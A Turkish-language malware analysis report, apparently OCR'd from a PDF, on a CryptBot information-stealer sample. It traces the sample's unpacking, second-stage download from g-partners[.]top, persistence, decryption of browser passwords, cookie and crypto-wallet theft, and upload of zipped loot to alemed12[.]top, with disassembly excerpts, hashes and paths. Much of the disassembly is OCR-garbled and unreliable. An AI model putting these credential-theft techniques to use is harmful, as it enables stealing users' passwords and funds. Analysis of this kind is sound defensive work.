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GIRIS

Son dénemde covid-19 hayatimizi 6nemli dlcide degistirdi. Calisma, ise gidip
gelme (veya gitmeme), birbirimizle etkilesim kurma ve belki de yazilimimizla
etkilesim kurma seklimizi degistirdi. Evden calisan birgok Kisi i¢in sirket
agimiza baglanmak icin VPN yaziliminin, uzaktan iletisim icin konferans
yaziliminin ve ig gorevlerini tamamlamak i¢in yazilim programlarinin
kullanilmasini gerektirmigtir. Ofis bilgisayarlarina tipik olarak yuklenen
programlara ve araglara erismek icin, evden ¢alisan ¢alisanlarin ayni
programlari ev bilgisayarlarina indirmeleri gerekti. Kot amacli yazilim
gelistiricileri ve dagiticilari bu olagandisi durumdan yararlanarak genellikle
ucretli programlar ve VPN istemcileri igin sahte yukleyiciler sunuyor.Yakin
zamanlarda olusan bir CryptBot saldirisidir. Daha az bilinen bir bilgi hirsizi
olmasina ragmen, CryptBot son bir yilda binlerce gunlik enfeksiyonla gok
verimli oldu. 2019 baharinda kéti amacgli yazilim dinyasina giktiktan sonra, o
zamandan beri masum kurbanlara 6zel dijital verileri karsiliginda sahte
yazilimlar sagliyor.

Cryptbot, mevcut kéti amacgli yazilim ortaminda nispeten gizli kalmayi basaran
ilging bir saldiri yontemi uretmek i¢in karmagsik kaginma tekniklerini ve oldukga
basit bir sosyal muhendislik tabanli dagitim stratejisini birlestiriyor.

Cryptbot, bir Trojan kéti amach yazilimi olarak kargimiza ¢ikiyor. Ancient truva
atiyla uyumlu olarak, bilgi hirsizi, kurbanlari tarafindan kurulmak tizere mesru
yazilimlarin i¢cinde saklanir. Faaliyet yili boyunca, Ucretsiz bir VPN
uygulamasinin yukleyicisi ve yasal ticari yazilim ylkleyicisi olarak

gizleniyor . Kendi basina veya diger kéti amacgh uygulamalarla

birlikte iniyor.Ornegin, PhantomPDF dlzenleyici , Adobe

lllustrator veya Malwarebytes'in crackli surumlerini arayan kullanicilar,
kendilerini tercih ettikleri programlar yerine bilgi hirsizini kurarken buldular.

y


https://www.bleepingcomputer.com/news/security/fake-vpn-site-pushes-cryptbot-and-vidar-info-stealing-trojans/
https://www.bleepingcomputer.com/news/security/fake-vpn-site-pushes-cryptbot-and-vidar-info-stealing-trojans/
https://twitter.com/James_inthe_box/status/1248964446505947136
https://twitter.com/James_inthe_box/status/1248964446505947136
https://app.any.run/tasks/d597224b-ffff-43ad-90d9-572295ca24bb
https://twitter.com/benkow_/status/1226954519252213761
https://twitter.com/benkow_/status/1226954519252213761
https://twitter.com/MBThreatIntel/status/1226999930255900672
https://app.any.run/tasks/d597224b-ffff-43ad-90d9-572295ca24bb
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On izlenim

incelenen bu versiyondaki CryptBot zararlisi 2021-06-27 tarihinde ortaya
cikmistir. Lisanssiz uygulamalarla birlikte inerek yayilmayi siirdirmiistir. ilk
olarak zararlinin uzantisi .exe olup bu uzanti ile bulagsmaktadir.Ana exe
calistiktan kisa bir stire sonra 2 alt process ac¢ip kendini bulundugu konumdan
silmektedir ve processler ile devam etmektedir.Alt processde asil zararh
islemleri yapmaktadir.Bilgisayara ait konum ve sistem bilgilerini,Chrome,Mozilla
Firefox gibi tarayicilari tarayarak kayitli kredi karti bilgileri, cerezler,e-posta
adresleri,kullanici isimleri,sifreler gibi encrypted halde bulunan verileri decyrpt
ederek tek tek ayirdigi dosyalara yazdirmaktadir ardindan temp dosyalari
olusturmaktadir,baslangi¢ta ve sonda bilgisayarin ekran fotograflarini alip ve
sifreli bir zip dosyasi olusturarak kendisine gondermektedir. Ardindan batin
dosyalarini silerek zararlinin ¢galismasini durdurmaktadir.
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nxinf8kuks.exe Analizi

DOSYA ADI nxinf8kuks.exe
MD5 663FDF847D6B11308415FF86EBFFC275
SHA1 6167FDF3CD9A585A44F24EB15D414281EDAD2485

Bu zararliyi inceledigimizde manuel olarak packlenmig bir dosya oldugu

gorulmektedir.Analiz sUresince manuel olarak unpack iglemi uygulanmistir.

Ik olarak sistem ile ilgili bilgileri almaktadir.

nxinf8kuks. unpc.011CD474

mov eax,dword ptr ss:|lebp-8]
xor eax,dword ptr ss:ebp-C]
mov dword ptr ss:lebp-4],eax

xor dword ptr ss:lebp-4],eax

xor dword ptr ss:lebp-4],eax
mlea eax,dword ptr ss:[[ebp-14]
push eax

mov eax,dword ptr ss:[ebp-10]
lea ecx,dword ptr ss:[ebp-4]
xor eax,dword ptr ss:[ebp-14]
xor eax,dword ptr ss:[ebp-4]
XOr eax,ecx

Teave

ret

call dword ptr ds:[<&GetSystemTimeAsFileTimex]

call dword ptr ds:[<&GetCurrentThreadIds=]

call dword ptr ds:[<&GetCurrentProcessIds=]

call dword ptr ds:[<&QueryPerformanceCounters]

GetCommandLineA ile process olusturmak icin ve degisiklikler yapmak igin

komut satiri dizinini almaktadir.

nxinf8kuks.unpc. 011D881F
call dword ptr ds:[<&GetCommandLineA>]
mov dword ptr ds:[11ED554],eax ; O011ED554:&"\"C:y\Users
call dword ptr ds:[<&GetCommandLinew>]
mov dword ptr ds:[11ED558],eax ; Ol1EDS553B:&L"\"C:“\\Users
mov al,l
ret

Desktop

Desktop

Nx1nFBKUKS. unpc. exe’, "

nxinFBKUKS. unpc. exe’™"




Api-ms-win-core-synch-11-2-0.dll dosyasi, dinamik baglanti kitapligi dosyalari gibi
yurdtilebilir (exe) dosyalari icin bilgileri ve talimatlari kaydetmektedir.

R Tk IS unp O cere

€all dword ptr ds: [<&ImUa'hzecrﬂ:w(a]sectwDmndspwncount{l

pustfexiriE aicSmac i HIRR TS e e pTiss s fCote evneE B S U
call dword ptr ds: [<&GetModuleHandlel>]

esi
jne nxinfskuks.unpc.11CC822

.

nxinf8kuks. unpc. 011CC80D
push mxinf gkuks. unpc. 11E335C ; 11E335C:L"kernel32. d11"
Baial cwordt prr ds-f<acetModulenand) o]

B
i

s
je nxinfskuks.unpc. 11CCBAE

3l
nxinf8kuks. unpc. 011cc822
push nnﬂfsklks.lnpc.LlEEE‘S : 11E3378:"Initializeconditionvariable”

push es
a1 dword pir_ds: [<8GetProcaddress>]
push nxinfgkuks.unpc. 1162304 ; 11£3394:"sleepconditionvariablecs”
push 551

ov_ef

€2l “dwird per ds : [<&GetProcaddress>]
push nxinfskuks.unpc.11E3380 ; 11E3380: "wakeallconditionvariable”
pus

me
call dwurd | prr ds : [<&GetProcaddress>]

bx
je nxinfkuks. unpc.11cC888

i nf8kuks. unpc. 011€C850
test edi, e
je nxinfskuks.unpc.11CCE88

nxinf8kuks. unpc. 011cC854
Test esi,es
Je rintékuks. unpe. 11cc888

g-partners[.Jtop/dIc/distribution[.]php?pub=mixinte adresine alt processleri olusturmak i¢gin
http istegi atip, Writefile ve Readfile API’lerini kullarak dosyalari yazdirmaktadir.

nxinf8kuks. unpc.011C2905
mpush esi

€all dword ptr ds:[<&InternetConnectA-]

mov edi,dword ptr ds:[<&InternetcloseHandlex]
mov ebx eax ; eax:"g-partners.top”

test ebx,ebx

e mxinf8kuks. unpc. 11€2971

+

nxinfékuks.unpc. 011c2918

cmp dword ptr ss:[ebp-14[,10

lea ecx,dword ptr ss:[lebp-28] ; [ebp-28]:"/dic/distribution.php?pub=mixinte”
push

cmovae ecx, dwurd ptr ss:[lebp-28] ; [ebp-28]:"/dlc/distribution. php?pub=mixinte"
push 8040000

0
push 0
push ecx
push nxinfskuks.unpc.11E8F2C ; 11E8F2C:"GE
push ebx
call dvord ptr ds:[<&HttpopenRequesta>]
mov esi,eax ; eax:'g-partners.top’
Test esi,esi
je nxinf8kuks.unpc.11C2968

!

nx1hfnklk5 unpc. 011€2943

push es

call nx1nfEkuks unpc. 112130

push 0

push 0

push 0

push o

push e

call dwurd ptr ds: [<&H[tpsendkequestA>]
test eax,eax ; eax:'g-partners.top’
je nxinfskuks.unpc.11c2968

nxinf8kuks.unpc. 011CFB2A
lea ebx,dword ptr ds:[ebx] ; ebx:&"g-pa/dlc/distribution.php?pub=mixinte HTTP/1.1", [ebx]:"g-pa/dlc/distribution.php?pub=mixinte HTTP/1.1"

|
L1

nxinf8kuks. unpc. 011CFB30

movdqu xmmO,xmmword ptr ds:[esi] ; esi:"rtners.top”

movdqu xmml,xmmword ptr ds:[esi+10]

movdqu xmmwiord ptr ds:[edi],xmm0 ; edi:"/dlc/distribution. php?pub=mixinte HTTP/1.1"

movdqu xmmword ptr ds:[ed‘l—LO],xmml ; edi+10:"n, phpTpub=mixinte HTTP/1.1"

lea esi,dword ptr ds:[esi+20] ; esi:'rtners.top”, esi+20:"media player”

lea edi,dword ptr ds:[edi+20] ; edi:"/dlc distrﬁbttwm.php?pt b=mixinte HTTP/1.1", edi+20:"e HTTR/L.1"
ec edx

jne nxinf8kuks.unpc.11CFB30
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Zararli hafiza adresini uzak sunucudan aldig1 EXE dosyasinda tutmakta ve
C:\Users\name\AppData\Local\Temp\{{iXOI-zQPtT-crzl-OmXLH}}\ dizininin altina bir exe
dosyasi olusturmaktadir.

nxinf8kuks. unpc. OLLCQFDD
mmov. hytengtr ss:[ebp-4],C ; C:'\f'
call nxinf8kuks.unpc. 11((0(0
push eax ; eax:",exe"
mov edx,nxinfgku ks.u pc.11ECA3S8 ; 11ECA
lea ecx,dword ptr ss:[lebp-554[ ; [ebp-55
call nxinfskuks. unpc. 11CAC20
lea ecx,dword ptr ss: [ebp 264
mow. byte ptr ss:flebp-4J],0 ; D:'Nr'
push ecx
mov edx,eax ; eax:".exe"
lea ecx,dword ptr ss:[febp-24c]
€all nxinf8kuks.unpc.11CA970
add esp,8
mow byte ptr ss:[lebp- ] E
mov ecx,eax ; eax:".ex
cmp dword ptr ds: [e;x J. J.1
jb nxinfgkuks. unpc. 11c3FDO

MA\Apppatal\Local\\Temp\\{iX01-zQPtT-crz1-0mxLH}

H
¥
nxinf8kuks. unpc. 011C3FCE
mov ecx,dword ptr ds:[eax] ; eax:".exe"

Zararh olusturdugu exe dosyasina rastgele degerler vererek 00909689773 isimli bir exe dosyasi

olusturmaktadir.

C:\Users\name\AppData\Local\Temp\\{{iXOIl-zQPtT-crzl-OmXLH}}\\00909689773.exe

nxinf8kuks. unpc. 011CAA3D
mmov eax,ebx
mov dword ptr ds:[ebx+14],0 ; ebx+14:""
movups xmmQ,xmmword ptr ds:[edi] ; edi:&"C:
movups xmmword ptr ds:[ebx],xmm0
movg xmmO,qword ptr ds:[edi+10]
movq gqword ptr ds:[ebx+10],xmm0
mov dword ptr ds:[edi+10],0
mov dword ptr ds:[edi+14],F
mov byte ptr ds:[edi],0 ; edi:&"C:\\Users Y\\AppData\\Local\\Temp\\{iX01-zQPtT-crz1-Om \LH 00909659‘73.93(9"
pop edi ; edi:&'C:\\Users Apppata‘\\Local \\Temp\\{iX01-zQPTT-crz1-OmXLH}\\00909689773
pop esi ; esi:".exe”
pop ebx
mov esp,ebp
pop ebp
ret

users Apppata’\\Local\\Temp*\\{iX01-zQPTT-crz1-OmXLH}\\ 0090968977 3. exe”

Zararh ¢alisma siresince bazi dosyalar drop etmektedir.Hash bilgisi asagidaki gibidir.

Dosya Adi 79331032056.exe

MD5 2081D43A914A66D1CB5C54FD3802DFB1

SHA1 8958C6E1E2FF8112C31846B706C52FF25028E182

Dosyalari olusturduktan sonra kendisini silip alt processinde zararli islemlerine devam

etmektedir.

y
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00909689773.exe Analizi
DOSYA 00909689773.exe

MD5 610FE925494BD7F87858672C17F7D917

SHA1 CA63E707905182D88DF434BC83E6094F91AA4D61

Bu zararliyi inceledigimizde manuel olarak packlenmis bir dosya oldugu
gorulmektedir. Analiz suresince manuel olarak unpack islemi uygulanmistir.

Cesitli islemler yapmak igin belirtilen modulin kayith oldugu dizini almaktadir.

00909689773. 0024F 5CA
mpush esi
push edi
€all dword ptr ds:[<&GetModuleFileNamew:-]
mov eax,dword ptr ds:[27C628] ; 0027C628:&."\"C:
mov dword ptr ds:[27C614],esi
mov dword ptr ss:lebp-10J,eax
test eax,eax
je 00909689773.24F5E9

users AppbatatiLocal'\Temp'\{1X01-zQPTT-crz1-0mxLH}"\ 00909689773, exe\""

g
00809689773, 0024F5E4

cmp word ptr ds:[eax],di
jne 00909689773. 24F5EE

1]

00509689773, 0024F5E9 |

mov eax,esi
mov dword ptr ss:|lebp-10J,esi

Sistem Uzerinde kalicilik elde etmek icin kendisini CurrentVersiona kayit etmektedir.

- |[Fru Gizle

‘wov edf,dword ptr ds:[ T
Tea eax,dword ptr ss:[ebp-14]

add esp,c EAX  0044E674
SE:E eax EBX  7EFDE000

20119 ECX 00000000
push 0 - . EDX 00000000
E::p 123330560 3305E0:L"SOFTWARE\\Mi crosoft\\Windows NT\\CurrentVersion ED G

all edi ESP  0044D7D4
mov esi,dword ptr ds:[<&RegqueryvalusExws| ESI  0000000A

Test_eax,eax EDT  761D458D <advapi32. RegopenkeyExi>

jne 123.379FDD
ea eax,dword ptr ss:[lebp-1c] EIP  00279FAE 123.00279FAE
ush eax
ea eax,dword ptr ss:[ebp-Aa0] EFLAGS 00000212
h eax 0 AF 1

[ zZE 0 PE
h 0 OF 0 SF O DF 0
CFO TFO IF1

ss:[ebp-14]
push dword ptr ss:[ebp-14]
€all dword ptr ds: [<&Regclosexeys]
ush 3FC
§ex cax,dword ptr 55 :Hsbp-£20]
mov dword ntr ss:Behn-200.FF

33063C:L"Productame”

Lasterror 0000007E (ERROR_MOD_NOT_FOUND)
Laststatus C0000135 (STATUS_DLL_NOT_FOUND)

GS 0028 FS 0053
ES 0028 DS 0028
C5 0023 55 0028




,’

CreateDirectoryW API kullanarak bir temp dizinini alip bu dizinin handle inin altinda rastgele

adlandirilmis LYOJYcHurFyK isimli bir dosya olusturmaktadir.

00909689773, 012CC5DC
mov esi,dword ptr ds:[<&reateDirectoryw=]
lea eax,dword ptr ss:[lesp+40)
push 0
push eax
gall esi
ush 208
ea eax,dword ptr ss:|Jesp+24C]
mov edx,00909689773.1386F9C ; 1386F9C:L"%Temps
push eax
[Ilush 00909689773.139C690 ; 139C690:&L "LYOIYCHURFYkK"
ea_ecx,dword ptr ss:[lesp+1c
€all 00909689773.12C56C0
add esp,4
mov_e
call

v
|

CX, 8ax
00909689773, 12C5ACO

push eax

cam edi

lea ecx,dword ptr ss:[lesp+10]]

€all 009096837/3.12C5AD0

ush 208

ea eax,dword ptr ss:[fesp+454]

mov edx,00909689773.1386F9C ; 1386FOC:L "%Temp%
push eax

push 00909
ush 0090968
ea ecx,dword ptr ss:|[lesp:3§
€all 00909689773, 12C56C0O

add esp,4

Tea ecx,dword ptr ss:[lesp+1C]
mov_edx,eax

€all 00909689773.12C5020

add esp,4

moy_e
call

138F050 ; 138F050 Files_"
0773.139C690 ; 139C690:&L"LYOIYCHURFYK"

CX, eax
00909689773, 12C5ACO

push eax

cam edi

lea ecx,dword ptr ss:[lesp+10])
€all 00909683773.12C5AD0

Tea ecx,dword ptr ss:[[esp:28
€all 00909689773, 12C5AD0

ush 208

ea eax,dword ptr ss:[esp+65C]
mov edx,00909689773.1386F9C ;
push eax

push 0090968 138F060 ; 138F060:L™\\files_‘\\files"
ush 0090968 9C690 ; 139C690:&L"LYOIYCHURFYK"
ea ecx,dword ptr ss:[lesp+20]

€all 00909689773.12C56C0

add esp,4

lea ecx.dword ntr ss:Besps 340

1386F9C: L "%Temps

Zararli sistem Uzerindeki tarayicilarin (Chrome,Mozilla Firefox,Internet Explorer) cookie

bilgilerini, tarayici gecmisini, kaydettigi sifreleri ve e-posta adreslerini almaktadir.

00909689773, 012C9EGE
mcall dword ptr ds:[<&GetPrivateprofilestringw=]
push 105
call 00909689773.1369D98
add esp,4
mov edi,eax
lea eax,dword ptr ss:[lebp-£E0]]
ush eax
ea eax,dword ptr ss:[ebp-6c0]
push eax
push 00909689773.138BEEAD ; 13BEEAO:L"¥ws\\Mozilla\\Firefox\\%ws"
push 104
push edi
call 00909689773.12C7130
add esp,14
lea eax,dword ptr ss:[lebp-280[
push edi
push 00909689773.138EEDO ; 13BEEDO:L"%ws\\cookies.sglite"
push 104
push eax
call 00909689773.12C7130
push edi
ush 00909689773.13BEEFE ; 13BEEFB:L"%ws\\formhistory.sqlite"
ea eax,dword ptr ss:[lebp-488]
push 104
push eax
€all 00909689773.12C7130
add esp,20
cmp word ptr ss:[lebp-280[J,0
je 00909689773.12CACTA

a5/ push edl
56 push esi esi:L"c:\\users apppata\\Local\\Google\\Chrome\\User pata\\Profile 1\\cookies"
FF75 OC push dword ptr ss:|[ebp+C]]
FF75 08 push dword ptr ss:[lebp+&]
E& AB010000 call 123.3062A7
33c9 XOr ecx,ecx
83C4 1C add esp,1C
o e vyl VISP S
0090968977 3. 01L2C5DFA
mov eax,dword ptr [ll:[0] : eax:&L"C:“\Users AppData‘’\Local\\Google\\Chrome'\user Data”
push eax ; eax:& "C:\‘\Users »MhAppDatahh\Local'\Google'\\Chrome'\\User Data"

mov dword ptr [l:[0],esp
sub esE,C

push ebx

mov ebx,dword ptr ss:|lebp+Cl

XOor eax,eax ; eax:& "C:%‘\Users AppData‘‘Local \Google“ "\ Chrome'User Data"
00909689773.012C4F53
push eax ; eax:L"C:‘\Users apppata’’Local'\Google'\Chrome'User Data‘‘Default‘’Login Data"

call =di
cmp eax.FFFFFFFF @ eax:L"C:\\Usersh\z ApppatatLocal\ieooalevCchrome'\user pata‘‘Default\‘Loagin Data”




Logins tablosunda bulunan verileri sgl sorgusuyla cekmektedir. Kullaniciya ait kayitli sifreler,

kullanici adlari ve url bilgisi hedeflenmektedir. Password_value encrypted sekilde tutulurken
zararli sistem lzerinde decrypt ederek password.txt dosyasina yazmaktadir.

»

0F84 &F0O10000
8D85 O4FBFFFF
68 18703200

50
EE 4B820A00
BBFE

83c4 08
85FF

U

WUV UWUL U L s e
lea ecx, dwgrd ptr ds [edx 2] ecx:L"files_\\passwords.txt", edx+2:"LECT origin_url, username_value, password_value FROM
mov ax, word ptr ds:[edx] edx:"SELECT origin_ur], username_value, password_value FROM logins"
add edx,z edx:"SELECT origin_url, username_value, password_value FROM logins"
test ax,ax
jne 123.265D35
mov eax,dword ptr ds:[esi+14]
sub edx,ecx SELECT origin_url, username_\ value, password_value FROM Tlogins”, ecx:L"files_\'\passwol
mov ecx,dword ptr ds:[esi+10] "files \\Passuurds 5
sub eax,ecx passwords. TXT'
sar edx,1 igin_url, username_value, password_value FROM logins
cmp_edx, eax CT origin_url, username_value, password_value FRoM logins”
Lany 1o3.50un5y
mov esi,eax eax:L"C Users AppData‘’\\Local\\Temp My\\Files_‘\\passwords.txt"
add esp,8 |
test_esi,esi
je 123.261A8F
ea eax, dwmrd ptr 55 :[lebp-46C]
push 123,327 327018:L"a+"
push eax eax:L"C:\\Users AppData’\\Local\\Temp MN\Files_\\passwords.txt"
€all 123.309859
mov edi,eax eax:L"C:\\Users appbata‘iLocal i\ Tempi\R' files_\\passwords.txt"

add esp,s
test edi.edi

Mj passwords.txt - Not Defteri

Dosya Dizen Bicim Gorinim Yardim

Soft: Google Chrome New

Site:
Username:
Password:

https://www. instagram. com/accounts/emailsignup/

Zararli sistem bilgilerini (username,computer name,cpu bilgisi,saat ve tarih,kullanilan dil)

GetSysteminfo ile alarak olusturdugu _

Information.txt adli dosyaya yazdirmaktadir.

00909689773, 012D9E!
Duah dward pEr 25 flebp-

30])
€all dword ptr ds: [<&keg('\osekey>]

Tea eax,dword ptr ss:[el

push eax

p-12¢

call dword ptr ds:[<&GetsystenInfox]

Tea eax,dword ptr ss:[ebp-108]

P
mov. dwnr‘d ptr ss:[lebp-108],40 ; 40:'@

push e

call dwurd ptr ds:[<&GlobalMemoryStatusEx>]

ush 11

e ean.dword ptr_ss:llebp-10308

mov dword ptr ss:lfebp-50J,FF
us)

mpush eax
call 00909689773.1363C90
add esp,c
Tea eax,dword ptr ss:[febp-34]
push eax
push 20119
push 0

push 00909689773.1390940 ; 1390940:L"SYSTEM
002

push 80000«
cal

Test eax,eax
jne 00909689773.1209C31

controlset001\\control\\C1ass\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000"

" system_info.txt - Not Defteri

[E=REEn|

Dosya Duzen Bigim Gorlnum Yardim

EXE_PATH:

Operating system:
Operating system language:
Keyboard Tanguages :

Local Date and Time:

Username (Computername) :
CPU:
Memory ram:

Video card:
Display Resolution:

C:\Users \III AppData\Local\Temp\{iX0T-2QPtT-crz1-0mxLH}\0090968977 3. exe
windows 7 Professional = 64-bit(x64) build: 7601 release:

tr-TR

Tirkce (Tirkiye) / Ing‘l'l‘\zce Camerikan) /

2021-07-24 00:13:

+0300

I+ oo ccores: 2
. "
SVGA 3D

1918 x 888

GdipSavelmageToFile API ile o an ki bilgisayarin ekran goruintlsiund alir ve _Files klasoriniin
icine kaydetmektedir.

00909689773.012D44F6

mcall dword ptr ds [<dﬁd‘\psave1maquoFﬂe>]

TesT eax,eax tL"C:\\Users Appbatah\Local\\Temp\\LYOIYCHURFYK\\_Files\\_screen_besktop. jpeg”
je 0090968977 3. 12D4503
J!
00909689773. 01204 500
mov dword ptr ds:[esi+8],eax ; eax:L"C:\\Users Apppata\\Local‘\\Temp\\LYOIYCHURFYK\\_FiTles\\_Screen_besktop. jpeg"
)
00909689773.012D4503
mov eax,dword ptr ds:[esi] ; eax:L"C:\\Users apppata‘\\Local\\Temp'\\LYOIYCHURFYK'\_Files\\_screen_pesktop. jpeg”

€all dword ptr ds:[ea:
push dword ptr ss:|eb
€all dword ptr ds:[
push dword ptr ss:
B

Pebp-2

201
<&De'\ eteob]ect>]

SR



pe

Web Data-Login Data bilgilerini alarak google_chrome_new.txt dosyasi olusturarak
icine yazdirmaktir.

66:391E cmp word ptr ds:[esi],bx esi:L"C:\\usersh\: aApppatat\Locali\Tempi\Rvwwvaz IM\N\Files_\\cookies'\\google_chrome_new. txt"
75 0D jne 123.309AEA

E8 E5500000 call 123.30EBCT

C700 16000000 mov dword prr ds:[eax],16

<

~ EB DC _"mp 123.309AC6
8D45 E4 ea eax,dword ptr ss:[lebp-1c]]
50 push sax

E8 FF/770000 call 123.3112F2

_Files/_Wallet dizininde bilgileri kayit etmek ve degistirmek icin gesitli bitcoin ctizdanlarini ve
para birimlerini aramaktadir.

00909689773, 012D5DA4

mov ecx,dword ptr ss:[febp _:] ; [ebp-28]:L"%Temp%'\\LYOIYCHURFYK\\_Files’_wallet'\Monero”
lea edx,dword ptr ds:[edx*2+2]

MoV 2ax,ecx

cmp edx,LOCICI

jb 00909689773.12D5DCC

L]
00909689773, 012€5D35
mmov ax,word ptr ds:[edx] ; edx:L"_Files\\_wallet\\Exodus Eden"”
add edx,2 ; edx:L"_Files\\_wallet\\Exodus Eden”
Test ax,ax
jne 00909689773.12C5D35
']
00909689773, 012C5D40
mov eax,dword ptr ds [esw 14]
sub edx,ecx ; edx _wallet\\Exodus Eden”, ecx:L"_Files\\ Wallet\\Exodus Eden"
d '[esw L(‘] . ecx:L"_Files\\ Wallet\\Exodus Eden"

es let\\Exodus Eden”
sar edx,l ; ed‘( L" Fﬂes _wallet\\Exodus Eden”
cmp edx,eax ; edx:L"_Files\\_Wallet\\Exodus Eden”
Ja 00909689773.12C5D7E

00909689773. 01206190
mpush 00909689
mov edx,eax ; ea %
mov dvord ptr ss bp-4[]
lea ecx,dword ptr ss:[lebp-23]
call DDQDQEEBT?Z 12¢5p20
add esp,
cmp dwnr‘d ptr ds:[eax+14],8
b1 00909689773, 12D6161)

138FF58:L"\\_Files\\_wallet\\com. 1iberty.jaxx"
\\LYOIYCHURFYK"™

)

09689773 . 012DGLAF
v eax,dword ptr ds:[eax] ; eax:&L"%Temp%\\LYOIYCHURFYkK", [eax]:L"%Temp%\\LYOIYCHURFYK"

Buldugu bilgileri olusturdugu ilgili dosyalara kaydetmektedir.
Buldugu tim bilgiler asagidaki gibidir;
-Cookie bilgilerini cookies.txt ve AllCookies_list.txt adli dosyalara kaydetmektedir.

-Sistem bilgilerini (username,computername,cpu,kullanilan dil,konum)_Information.txt ve
system_info.txt adli dosyalara kayit etmektedir

-Buldugu kripto clizdanlarini, kayith kredi karti bilgilerini _Wallet ve cryptocurrency adli olusturulan
dosyalara kaydetmektedir.

-Tarayicilarda kayith bulunan tim sifreleri kullanici ismi ve url bilgisiyle birlikte password.txt ve
AllPassword.txt dosyalarina kaydetmektedir.

-TUm e-posta ve kullanici isimlerini dogrulama kodlari ile birlikte forms.txt ve AllForms_list.txt adli
dosyalara kaydetmektedir.




,’

Zararlinin olusturdugu dosyalar asagidaki tabloda verildigi gibidir.

v
|

files_ _Files BsSbpBg.tmp
-cookies _Cookies gDdxsxGm.tmp
-cookies.txt _AllCookies_list.txt hrcoWpmT.tmp
-forms.txt _AllForms_list.txt JKFaiy.tmp
-password.txt _AllPasswords_list.txt | [HCgPACSW.tmp

-system_info.txt | _Information.txt vaqfZA.tmp

-screenshot.jpg | _Screen_Desktop.jpeg MckYLbaLjxJrwW.zip

-cryptocurrency | _Wallet

NIsPPCaAe.zip
ElectronCash ElectronCash
Electrum-btcp Electrum
Electrum Electrum-btcp

Files_ dosyasinda kaydettigi bilgileri MckYLbaLjxJrwWzip adli dosyasinin igine
yazdirmaktadir.

00

909689773, 01370F96
je 00909689773.1370FC5

00909689773.01370F98
pusn dword ptr ss:lebp+8J ; [ebp+8]:L"%Temp%\ \LYOIYCHURFYK\\MCkYLbaL jxJrww. zip"
push 0
push dword ptr ds:[139¢5FC]
mcall dword ptr ds:[<&HeapFrees]
Test eax,eax
jne 00909689773, 1370FCS

00909689773, 01370FAD
ush esi
(al] 00909689773 136EBC7

cal:‘ dwurd ptr ds:[<&GetLastError>]

ush ea

call 00909659773 136EB4E

pop x 1L "%Temp%\ \LYOJYCHURFYK'\\MCkyLbaL jxIrww. zip"
mov. dwor‘d ptr‘ ds [es1] eax

pop e

00909689773, 012D39AB
mmov dword ptr ds;[edx+14],7
mov word ptr ds:leds],ax ; edx:&L":\\Users Appbatat\Local\\Temp\\LYOIYCHURFYK\\_Files”

; ecx:L"C:\\Users APPDETE\NLOCAT\\Tep\\LYOIVCHURF YK\ WKy L baL 3. 21"
Users AppData\\LocaT\\ Temp\\LYOIYCHURFYK \\MCkYLbaL jxIrw. zip"”

£

00009689773 012D39C0

i ecx:LUC: AppData\\Local\\Temp\\LYOIYCHURFYK\\MCkVLbaL jxIrw. zip”, esi:L":\\Users ’\\AppData\\Local\\Temp\\LYOIYCHURFYK\\MCKYLbaL jxIrww. zip"
>\\\AppData\\Local\\Temp\\LYOIYCHURF¥k\\MCKYLD
_\\Appbata\\Local\\Temp\\LYOIVCHURFYK\\MCkYL bal

users AppData\\Local\\Temp\\LYOI¥CHUREYK\\MCkvLbal .zip”, edx:&L":\\Users AppData\\Local\\Temp\\LYOIYCHURFYK\\_Files"

edx
(31] 00909689773 IZDAAID
yte :[febp-21,1
caﬂ 00909689773 12CF44D
add esp,
cmp byré ptr ds:[139A960],0
je 00909659773 12D3A02




v

MckYLbalLjxJrwW.zip adli zip dosyasini olusturduktan sonra _files a kaydettigi bilgilere ait
olan NIsPPCaAe isimli bir zip dosyasi daha olusturmaktadir.

C:\Users\[AppData\Local\Temp\LYOJYcHURFYk\
Dosya Dizenle Garintim Sik Kullanilanlar  Araglar  Yardim

d = v W = X i
Ekle Ayikla Sina  Kopyala Tagl Sil Bilgiler

v
|

¥ | . c\Users\ I AppData\Local\Temp\LYOJYCHURFYK\

Ad Boyut Degigtiriime  Olusturuima  Agiklama Klasorler Dosyalar
I files_ 2021-07-24.. 2021-07-22..
). _Files 2021-07-23.. 2021-07-22,
BsSbpBg.tmp 192512 2021-07-2 2021-07-2
gDdxsxGm.tmp 90112 2021-07-22.. 2021-07-23..
hrcoWpmT.tmp 90112 2021-07-22.. 2021-07-23.
JKFaiy.tmp 192512 2021-07-22.. 2021-07-23,
IHCgPACSW tmp 40950 2021-07-17.. 2021-07-23,
MCkYLbaLjJrwW.... 180912 2021-07-24.. 2021-07-24..
;NIsPPCaAe‘zip | 180852 2021-07-2 2021-07-2:
vaqfZAtmp 40950 2021-07-17.. 2021-07-23..

0/10 &ge secilmis

¥ C:\User-\AppData\LataI\Temp\L\‘OJVtHURFVk\MCkVLbaijerWzip\ T C:\Users\ [l AppData\Local\Temp\LYOJYcHURFYK\NIsPPCaAe zip\

Ad Boyut Paketlenmis.. Degistirilme Olusturuima  § | Ad Boyut Paketlenmis.. Dedistirilme  Olusturulmz

| _Coolies 52985 18385 | cookies 52985 18382
_AllCookies_listtxt 52985 18385 2021-07-23. cookies.txt 52985 18382 2021-07-23.
_AllForms_list.txt 714 190 2021-07-23.. forms.txt 670 187 2021-07-23.
_AllPasswords_list... 243 167 2021-07-23.. passwords.txt 235 164 2021-07-23.
_Information.txt 6178 1225 2021-07-24.. = screenshotjpg 198 635 141578 2021-07-23..

= _Screen_Desktop,). 198 635 141578 2021-07-23. system_info.txt 6200 1247 2021-07-24..

http://alemed12[.]top ile baglanti kurarak olusturdugu zip dosyalarini bu adrese

gondermektedir.

00909689773, 01203402
call 00909689773, 1369FF9

cdg
mov ecx,99 ; ec %TempX\ \LYOJYCHURFYkK r"\'.kVLh;_L:XJ

9 .zip"
empas\ \LYOJYCHURFYK\\MCKkYLbaL jxJ "

zip

push edx

€all dword ptr ds:[<&sTeeps]

Tea edx,dword ptr ss:[ebp-250]

mov_ecx, 0090968 138F140 ; ecx:&L"%Temp%\\LYOIYCHURFYK\\MCkYLbaL jxJrww.zip", 138F140:
call 00909689773.12D2760

mov edx,dword ptr ss:[ebp-38]

cmp _edx, 8

jb’ 00909689773.1203A62

“alemed12. top"

']

00909689773, 012D3A34
:[febp-6cl_; [ebp-6C]:L"MCkyLbaLjx3
2+

%Temp%\\LYOIYCHURFYK\\MCKYLbaLjxIrww. zip", ecx:&L"%Temp%\\LYOJYCHURFYK\\MCkYLbaLjxIrww. zip"
cmp edx,1000
ib 00909689773.12D3A58

